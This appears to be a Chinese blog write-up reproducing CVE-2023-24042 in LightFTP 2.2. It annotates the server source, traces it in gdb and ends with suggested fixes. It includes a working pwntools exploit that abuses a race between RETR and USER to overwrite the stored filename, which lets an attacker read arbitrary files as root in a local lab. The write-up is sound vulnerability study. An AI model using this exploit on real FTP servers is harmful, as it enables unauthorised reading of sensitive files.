CVE-2023-24042复现

FTP协议介绍

FTP简介

FTP协议:是TCP/IP协议组中的协议之一。FTP协议包括两个组成,其一为FTP服务器,其二为FTP客户端。其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。

image-20250805110034180

FTP工作原理

FTP的核心工作原理:双连接模式

FTP作为一个应用层协议,其独特之处在于它使用两个独立的TCP连接来完成文件传输任务:

  • 控制连接(Control Connection):这是整个FTP会话期间一直保持连接的通道。 它用于在客户端和服务器之间传输命令和服务器的响应信息。
  • 数据连接(Data Connection):这是一个临时的连接,仅在需要传输文件数据(如上传、下载文件或获取目录列表)时创建。

image-20250805110141283

图示工作成功流程:

这张图展示的是建立控制连接并完成用户身份验证的步骤。

  1. 建立连接 (Connecting Port 21)

    • 客户端首先向FTP服务器的21号端口发起连接请求,这个端口是专门用于FTP控制连接的。
  2. 服务器就绪响应 (220 FTP Server v1.0)

    • 服务器接收到连接请求后,会返回一个以”220”开头的响应码。这表示服务器已经准备就绪,可以接受客户端的命令了。图中的 “220 FTP Server v1.0” 明确地告知客户端,对方是一个1.0版本的FTP服务器。
  3. 客户端发送用户名 (USER )

    • 客户端接收到服务器的就绪信息后,会发送USER命令,后面跟着用户的登录名(图中示例为myname)。
  4. 服务器要求输入密码 (331 USER command OK, password required)

    • 服务器收到用户名后,如果该用户存在,会返回一个”331”的响应码。这个响应码的含义是“用户名正确,需要输入密码”。
  5. 客户端发送密码 (PASS )

    • 客户端接着发送PASS命令,后面附上用户的密码(图中示例为mypass)。
  6. 登录成功 (230 User logged in success)

    • 服务器验证密码无误后,会返回”230”响应码,表示用户已成功登录。 此时,控制连接上的身份验证过程全部完成,客户端就可以开始发送其他命令,如请求文件列表、上传或下载文件了。

image-20250805111653939

这张图的核心信息是:FTP协议是通过在TCP连接上发送明文命令来进行交互的。

我们来分层解读这张截图中的信息:

  1. 顶层文字描述:
    • 通信数据包:” - 标题,说明了图片内容。
    • FTP 是基于 TCP/IP 协议实现的,通过拦截数据包可以得知,其通过发送特定命令字进行交互” - 这句话是核心概括。它点明了:
      • 基础协议: FTP 运行在可靠的 TCP/IP 协议之上。
      • 工作方式: FTP 客户端和服务器之间是通过发送特定的命令(如 USER, PASS, LIST 等)和接收响应来进行通信的。
      • 可被“看”到: 因为命令是明文的,所以用抓包工具可以直接看到通信内容。
  2. TCP 协议层信息:
    • 截图中间部分展示了这是个TCP数据包。
    • TCP payload (16 bytes): 这表示TCP数据段中承载的应用层数据(也就是FTP命令)大小为16个字节。
  3. FTP 协议层信息 (重点):
    • File Transfer Protocol (FTP): 抓包工具已经智能地识别出TCP包里装的是FTP协议的数据。
    • 被红色圆圈圈出的部分是关键:
      • Request command: USER: 这清晰地表明,这个数据包里包含的是一个FTP的 USER 命令。这个命令用于向服务器指定用户名。
      • Request arg: anonymous: 这是 USER 命令的参数,即用户名是 “anonymous”(匿名)。这说明客户端正在尝试进行一次匿名FTP登录。
      • USER anonymous\r\n: 这是在网络中传输的原始命令字符串。\r\n 是回车和换行的组合,在FTP协议中用来标记一行命令的结束。

**主动模式:**服务器主动连接主机传输文件

**被动模式:**服务器开放指定端口,主机向其发起连接

image-20250805185607121

FTP常用命令字

  • ABOR - 放弃先前的FTP命令和数据传输
  • LIST - 列表显示文件或目录
  • PASS - 服务器上的密码
  • QUIT - 从服务器退出
  • RETR - 检索(取)一个文件
  • STOR - 存储(放)一个文件
  • SYST - 服务器返回系统类型
  • USER - 服务器上用户名

RETR命令字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// RETR 命令字:
int ftpRETR(PFTPCONTEXT context, const char *params)
{
// ... (省略了变量定义)

// 检查用户是否已登录
if (context->Access == FTP_ACCESS_NOT_LOGGED_IN)
return sendstring(context, error530); // 如果未登录,返回错误530

// ...

// 构建文件的完整有效路径
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);//因为一般服务器上ftp协议只能访问指定文件夹

// 循环(虽然用while,但逻辑上类似if,只要文件存在就执行一次)
while (stat(context->FileName, &filestats) == 0) // 获取文件状态,如果文件存在
{
// 如果请求的是一个目录,则退出
if (S_ISDIR(filestats.st_mode))
break;

// 向客户端发送 "150" 状态码,表示准备开始传输
sendstring(context, interm150);

// 记录日志
writelogentry(context, "RETR: ", (char *)params);

// ...

// 创建一个新的工作线程来处理实际的文件传输
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))retr_thread, context);//这里做对应的传输

// ...
}
}

FTP协议实战

初步配置

从官方下载源代码这里使用的是lightftp-2.2

我们要调试源代码解压后进入Source的debug里面,执行make后目录如下:

1
2
3
le0n:Debug/ $ ls
cfgparse.d fftp fspathtools.o ftpconst.o ftpserv.o main.o objects.mk subdir.mk x_malloc.o
cfgparse.o fspathtools.d ftpconst.d ftpserv.d main.d makefile sources.mk x_malloc.d

将这个fftp程序复制下来放到lightftp目录的bin目录下

在bin目录下有一个fftp.conf这个是ftp服务器的配置文件,在bin目录里面创建一个logfiletouch logfile,修改配置文件中logfilepath=/home/user/fftplog为创建的这个logfile的路径如/home/le0n/study/ftp/LightFTP-2.2/Bin/logfile

创建一个ftpshare最后的代码改为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[anonymous]
pswd=*
accs=readonly
root=/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare

[uploader]
pswd=Weakuploaderpassword111
accs=upload
root=/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare

[webadmin]
pswd=VeryStrongadminpassword222
accs=admin
root=/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare

在ftpshare中创建一个demo文件,并写入一段字,如testfile

启动服务器

完成前面的操作后就可以启动ftp服务器了,在bin目录下执行

1
sudo ./fftp

运行后出现如下就相当于启动起来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
le0n:Bin/ $ sudo ./fftp                                                                                                    [20:18:32]
[sudo] password for le0n:

[ LightFTP server v2.2 ]

Log file : /home/le0n/study/ftp/LightFTP-2.2/Bin/logfile
Working dir : /home/le0n/study/ftp/LightFTP-2.2/Bin
Config file : /home/le0n/study/ftp/LightFTP-2.2/Bin/fftp.conf
Interface ipv4 : 0.0.0.0
Interface mask : 255.255.255.0
External ipv4 : 123.45.67.89
Port : 21
Max users : 10
PASV port range : 1024..65535

TYPE q or Ctrl+C to terminate >
05-08-2025 20:18:40 : 220 LightFTP server ready


然后新开一个终端连接ftp,执行ftp 0.0.0.0

这里的用户名是配置文件中的anonymous,密码是*

1
2
3
4
5
6
7
8
9
10
le0n:~/ $ ftp 0.0.0.0   
Connected to 0.0.0.0.
220 LightFTP server ready
Name (0.0.0.0:le0n): anonymous
331 User anonymous OK. Password required
Password:
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

在对应的控制台也可以看到日志用户登陆了

执行ls既可以看到我们放在ftpshare中(ftp的根目录)的文件demo

help就可以看到我们可以使用的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ftp> help
Commands may be abbreviated. Commands are:

! cr ftp macdef msend prompt restart sunique
$ debug gate mdelete newer proxy rhelp system
account delete get mdir nlist put rmdir tenex
append dir glob mget nmap pwd rstatus throttle
ascii disconnect hash mkdir ntrans quit runique trace
bell edit help mls open quote send type
binary epsv idle mlsd page rate sendport umask
bye epsv4 image mlst passive rcvbuf set unset
case epsv6 lcd mode pdir recv site usage
cd exit less modtime pls reget size user
cdup features lpage more pmlsd remopts sndbuf verbose
chmod fget lpwd mput preserve rename status xferbuf
close form ls mreget progress reset struct ?
ftp>

执行get demo就可以下载这个demo文件了

到这里环境搭建和测试基本完成

漏洞分析

这里是一个条件竞争漏洞导致了路径穿越,可以下载

漏洞链

具体位置位于ftplight-2.2的源码的ftpserv.c的750行

1
ftpRETR() --> retrthread() --> create_datasocket() --> swith语句等待接收 --> 在ftpRETR中的循环并没有结束,思考context是否能够改写

具体原因:ftpUSER()中的snprintf(),在程序阻塞时可以再次修改filename并没有任何检查可以下载符合路径的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// 定义处理FTP RETR命令的函数
int ftpRETR(PFTPCONTEXT context, const char *params)
{
struct stat filestats; // 用于存储文件信息的结构体
pthread_t tid; // 线程ID

// 检查用户是否已登录,如果未登录则发送530错误(未登录)
if (context->Access == FTP_ACCESS_NOT_LOGGED_IN)
return sendstring(context, error530);

// 检查工作线程是否有效,如果无效则发送550_t错误(可能是临时性错误)
if (context->WorkerThreadValid == 0)
return sendstring(context, error550_t);

// 检查是否提供了文件名参数,如果没有则发送501错误(参数语法错误)
if ( params == NULL )
return sendstring(context, error501);

// 如果之前有打开的文件,先关闭它
if ( context->File != -1 ) {
close(context->File);
context->File = -1;
}

// 构建文件的绝对路径————规范用户输入的路径为ftp服务器的根目录路径
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);

// 循环检查文件状态————确认文件是不是合法的
while (stat(context->FileName, &filestats) == 0)
{
// 如果是目录,则跳出循环
if ( S_ISDIR(filestats.st_mode) )
break;

// 发送150状态码,表示文件状态正常,即将打开数据连接 [15, 32]
sendstring(context, interm150);
// 将RETR操作写入日志
writelogentry(context, " RETR: ", (char *)params);
// 重置工作线程中止标志
context->WorkerThreadAbort = 0;

// 锁定互斥锁,以保护共享的上下文数据
pthread_mutex_lock(&context->MTLock);

// 创建一个新的线程来处理文件下载(retr_thread函数)[1, 2, 4, 5, 7]
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))retr_thread, context);
//这里就是把context参数传入retr_thread()
//...
return sendstring(context, error550);
}

跟踪进入retr_thread()函数

1
2
3
4
5
6
7
8
9
10
void *retr_thread(PFTPCONTEXT context)
{
//...一些锁和变量
buffer = malloc(TRANSMIT_BUFFER_SIZE);//malloc一个缓冲区
while (buffer != NULL)
{
clientsocket = create_datasocket(context);//注意这里create_datasocket()
if (clientsocket == INVALID_SOCKET)
break;
//...

跟进create_datasocket()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
SOCKET create_datasocket(PFTPCONTEXT context)
{
SOCKET clientsocket = INVALID_SOCKET;
struct sockaddr_in laddr;
socklen_t asz;

memset(&laddr, 0, sizeof(laddr));

switch ( context->Mode ) {//switch去判断当前context的模式
case MODE_NORMAL://主动模式
clientsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//创建套接字
context->DataSocket = clientsocket;
if ( clientsocket == INVALID_SOCKET )
return INVALID_SOCKET;

laddr.sin_family = AF_INET;
laddr.sin_port = context->DataPort;
laddr.sin_addr.s_addr = context->DataIPv4;
if ( connect(clientsocket, (const struct sockaddr *)&laddr, sizeof(laddr)) == -1 ) {
//主动连接用户主机
close(clientsocket);
return INVALID_SOCKET;
}
break;

case MODE_PASSIVE://被动模式
asz = sizeof(laddr);
clientsocket = accept(context->DataSocket, (struct sockaddr *)&laddr, &asz);
//这里的accept()等待用户的连接
close(context->DataSocket);
context->DataSocket = clientsocket;

if ( clientsocket == INVALID_SOCKET )
return INVALID_SOCKET;

context->DataIPv4 = 0;
context->DataPort = 0;
context->Mode = MODE_NORMAL;
break;

default:
return INVALID_SOCKET;
}
return clientsocket;
}

那么这里在等待用户连接时,它原来的进程会阻塞直到用户的连接到来为止。

回到retr_thread()函数中672行左右

1
2
3
4
f = open(context->FileName, O_RDONLY);
context->File = f;
if (f == -1)
break;

这里在前面create_datasocket()执行过后open()了context->Filename,那我们可以思考一下这个context能否被改写,在同一个用户的连接过程中若能够改写这里的context的Filename,那他就不会是前面ftp_effective_path()规整过的路径。

导致的具体原因来自ftpUSER()函数,在253行左右

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int ftpUSER(PFTPCONTEXT context, const char *params)
{
if ( params == NULL )
return sendstring(context, error501);

context->Access = FTP_ACCESS_NOT_LOGGED_IN;

writelogentry(context, " USER: ", (char *)params);
snprintf(context->FileName, sizeof(context->FileName), "331 User %s OK. Password required\r\n", params);//这里可以改写context->filename
sendstring(context, context->FileName);

/* Save login name to FileName for the next PASS command */
strcpy(context->FileName, params);
return 1;
}

若RETR线程里面while()仍在循环且位于阻塞时(即等待用户连接),我们通过ftpUSER的snprintf来改变这个context->Filename再回到循环中就会执行open()函数,使得只要这个filename合法(可以找到)就可以取任意的下载文件

因为ftp是通过21端口交流的,这个端口需要有root权限,所以这个open()也是root权限以至于我们能够下载任意文件

gdb调试

在root模式下用gdb调试一下这个完整的登录流程

1
gdb ./fftp

给我们想要观察的函数下断点(这里可能在gdb中调试着客户端那边就断开连接,可以一次断一个观察)

  • b ftpUSER
  • b ftpPASS
  • b ftpRETR

然后执行r运行这个程序,新建一个终端使用ftp去登陆它

1
ftp 0.0.0.0

在这里跟进后找到了为什么总是断开连接的原因?

因为我的ftp服务端开的被动模式。

如何调整,直接在客户端执行passive即可(且每一次建立会话时都默认被动模式)

1
2
3
>root:Bin/ # ftp 
>ftp> passive
>Passive mode: off; fallback to active mode: off.

在ftp连接后且登录上,执行这个passive或PASV,切换为主动模式

注:在调试过程中可能会有exp运行后在gdb中并没有出现调试界面,稍等一会重新操作即可

断入ftpUSER

用户名:anonymous,密码:*

输入用户名后回车,回到gdb页面就可以看到gdb中运行到ftpUSER(),如图:

image-20250806154615054

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int ftpUSER(PFTPCONTEXT context, const char *params)
{//在这里传入用户名后,params就是我们的用户名
if ( params == NULL )//检查是否为空
return sendstring(context, error501);

context->Access = FTP_ACCESS_NOT_LOGGED_IN;//检查路径是否合法,这里是0

writelogentry(context, " USER: ", (char *)params);//写一下日志
snprintf(context->FileName, sizeof(context->FileName), "331 User %s OK. Password required\r\n", params);
/*pwndbg> p context -> FileName
$7 = "331 User anonymous OK. Password required\r\n", '\000' <repeats 8149 times>
*/
sendstring(context, context->FileName);//发送字符串

/* Save login name to FileName for the next PASS command */
strcpy(context->FileName, params);//将用户名cp到context -> FileName中
/*pwndbg> p context -> FileName
$10 = "anonymous\000nonymous OK. Password required\r\n", '\000' <repeats 8149 times>
*/
return 1;
}

断入ftpPASS

还是在源码中加上gdb注释来理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int ftpPASS(PFTPCONTEXT context, const char *params)
{
char temptext[256];

if ( params == NULL )//判断params是否为空
return sendstring(context, error501);

memset(temptext, 0, sizeof(temptext));

/*
* we have login name saved in context->FileName from USER command
*/
if (!config_parse(g_cfg.ConfigFile, context->FileName, "pswd", temptext, sizeof(temptext)))
return sendstring(context, error530_r);//解析fftp.conf文件中当前用户名对应的pswd字段

if ( (strcmp(temptext, params) == 0) || (temptext[0] == '*') )
{/*pwndbg> p temptext
$1 = "*", '\000' <repeats 254 times>将密码解析到了temptext中
pwndbg> p params
$2 = 0x7ffff6f42c45 "*"
*/
memset(context->RootDir, 0, sizeof(context->RootDir));
memset(temptext, 0, sizeof(temptext));

config_parse(g_cfg.ConfigFile, context->FileName, "root", context->RootDir, sizeof(context->RootDir));//解析根目录在哪个地方
config_parse(g_cfg.ConfigFile, context->FileName, "accs", temptext, sizeof(temptext));
//解析访问的权限是多少
context->Access = FTP_ACCESS_NOT_LOGGED_IN;
do {

if ( strcasecmp(temptext, "admin") == 0 ) {
context->Access = FTP_ACCESS_FULL;
break;
}

if ( strcasecmp(temptext, "upload") == 0 ) {
context->Access = FTP_ACCESS_CREATENEW;
break;
}

if ( strcasecmp(temptext, "readonly") == 0 ) {
context->Access = FTP_ACCESS_READONLY;
break;//设置一下权限只读
}

return sendstring(context, error530_b);
} while (0);

writelogentry(context, " PASS->successful logon", "");
}
else
return sendstring(context, error530_r);

return sendstring(context, success230);
}

这里可以再次输入时,执行PASV

断在ftpRETR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root:~/ # ftp 0.0.0.0 
Connected to 0.0.0.0.
220 LightFTP server ready
Name (0.0.0.0:root): anonymous
331 User anonymous OK. Password required
Password:
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls #ls时会产生相应的日志
229 Entering Extended Passive Mode (|||23091|)
150 File status okay; about to open data connection.
-rw-r--r-- 1 1000 1000 9 Aug 05 19:41 demo
226 Transfer complete. Closing data connection.
ftp> get demo
local: demo remote: demo
229 Entering Extended Passive Mode (|||33242|)

执行get demo后gdb即可进入到ftpRETR()中

在gdb中执行过ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);这里时查看文件路径变量的变化

1
2
3
4
5
6
7
pwndbg> p context -> FileName
$2 = "/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare/demo", '\000' <repeats 8140 times>
#这里把文件名放到根目录后面了,这个就保证了即使是../demo也不会跃出这个根目录(ftpshare)
pwndbg> p context -> RootDir
$3 = "/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare", '\000' <repeats 4049 times>
pwndbg> p params
$4 = 0x7ffff6f42c45 "demo"

且这个ftp_effective_path()函数是没有问题的,还可以保证它没有问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    while (stat(context->FileName, &filestats) == 0)
{
if ( S_ISDIR(filestats.st_mode) )//检查文件是否存在
break;

sendstring(context, interm150);
writelogentry(context, " RETR: ", (char *)params);
context->WorkerThreadAbort = 0;

pthread_mutex_lock(&context->MTLock);

context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))retr_thread, context);//前面存在的情况下就通过retr_thread这个线程
//这里 b retr_thread ;c跟进
//...

return sendstring(context, error550);
}

进入retr_thread单步执行到while循环处

1
2
3
4
5
6
7
8
9
10
void *retr_thread(PFTPCONTEXT context)
{
//...

buffer = malloc(TRANSMIT_BUFFER_SIZE);
while (buffer != NULL)
{
clientsocket = create_datasocket(context);
//在这里执行si,进入create_datasocket()
//si不行的话,就在这之前b create_datasocket然后跟进

跟进后执行到switch语句处,可以看到这里进入了主动模式

image-20250806175957897

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    switch ( context->Mode ) {
case MODE_NORMAL://在主动模式下走的是这里
//创建一个套接字
clientsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
context->DataSocket = clientsocket;
if ( clientsocket == INVALID_SOCKET )
return INVALID_SOCKET;

laddr.sin_family = AF_INET;
laddr.sin_port = context->DataPort;
laddr.sin_addr.s_addr = context->DataIPv4;
//开放一个端口主动向用户发起连接,n 步过
if ( connect(clientsocket, (const struct sockaddr *)&laddr, sizeof(laddr)) == -1 ) {
close(clientsocket);
return INVALID_SOCKET;
}
break;

case MODE_PASSIVE:
asz = sizeof(laddr);
clientsocket = accept(context->DataSocket, (struct sockaddr *)&laddr, &asz);
close(context->DataSocket);
context->DataSocket = clientsocket;

if ( clientsocket == INVALID_SOCKET )
return INVALID_SOCKET;

context->DataIPv4 = 0;
context->DataPort = 0;
context->Mode = MODE_NORMAL;
break;

default:
return INVALID_SOCKET;
}
return clientsocket;
}

然后程序就会回到retr_thread线程中,open()文件读取到缓冲区,然后发送给用户。

这基本就是ftp主动模式完整流程.

漏洞利用

触发漏洞

这里我们用python的pwn库进行交互,接下来需要用到三个终端页面(1,2,3)

在bin目录下写exp.py进行测试

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = 'debug'

def send_code(code):
p.sendline(code+"\r")

p = remote('0.0.0.0',21)
send_code("USER anonymous")
send_code("PASS *")

p.interactive()

在终端1以root权限gdb启动./fftp,再回到终端2执行这个exp.py,登陆上即测试成功

在根目录下创建一个flag,这是我们越界的目标,最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'

def send_code(code):
p.sendline(code+"\r")

p = remote('0.0.0.0',21)
send_code("USER anonymous")
send_code("PASS *")
#在请求文件之前开启被动模式
send_code("PASV")
send_code("RETR demo")

pause()
send_code("USER /flag")

p.interactive()

开始调试触发漏洞

  1. 在终端1中以root权限gdb ./fftp,并在retr_thread处下断点b retr_thread,然后r运行起来

如图:

image-20250806192906694

  1. 来到终端2,运行exp.py,再回到终端1进行调试,

image-20250806193743733

一直走到这个create_datasocket这个位置,再回车一下程序会发生阻塞。

然后回到终端2中回车使exp.py继续运行

image-20250806193901353

我们可以发现图中有一个127.0.0.1 189 155这里的189,155给他转为十六进制为BD、9B(每次程序运行都可能不一样)拼接在一起得到一个十进制数:48539。

  1. 在终端3中执行 nc 127.0.0.1 48539,这时我们再回到终端1可以发现gdb程序跳出阻塞

在gdb中继续单步步过程序

image-20250806194646768

执行p *context就可以看到 context->FileName 中的内容变为/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> p *context
$1 = {
...
CurrentDir = "/", '\000' <repeats 4094 times>,
RootDir = "/home/le0n/study/ftp/LightFTP-2.2/Bin/ftpshare", '\000' <repeats 4049 times>,
RnFrom = '\000' <repeats 4095 times>,
FileName = "/flag\000er /flag OK. Password required\r\n\000tpshare/demo", '\000' <repeats 8140 times>,
TLS_session = 0x0,
Stats = {
DataRx = 0,
DataTx = 0,
FilesRx = 0,
FilesTx = 0
}
}
  1. 在gdb中执行c,再回到终端3中就可以看到在主机根目录下的flag

image-20250806194325263

原理

在程序阻塞时通过nc这个等待连接的端口使程序可以继续运行,但在退出阻塞继续运行之前通过USER /flag使context->FileName中的内容发生了改变(条件竞争),也就是在程序在等待(阻塞)时运行了USER /flag在ftpUSER中snprintf()之前有没有检查就导致了这个函数成功运行修改了context->FileName中的内容,又有一个访问使程序退出阻塞正常运行就可以进行路径穿越任意读取了。

修复

  1. 在程序阻塞处恢复运行后对于context->FileName加检查
  2. 在context中添加字段使ftpUSER中的snprintf()的对象不为FileName,或者rter_thread线程中的对象不为FilrName

总结

在实际的漏洞挖掘中要能耐心的啃代码,看透代码的功能并十分了解,注意一些全局变量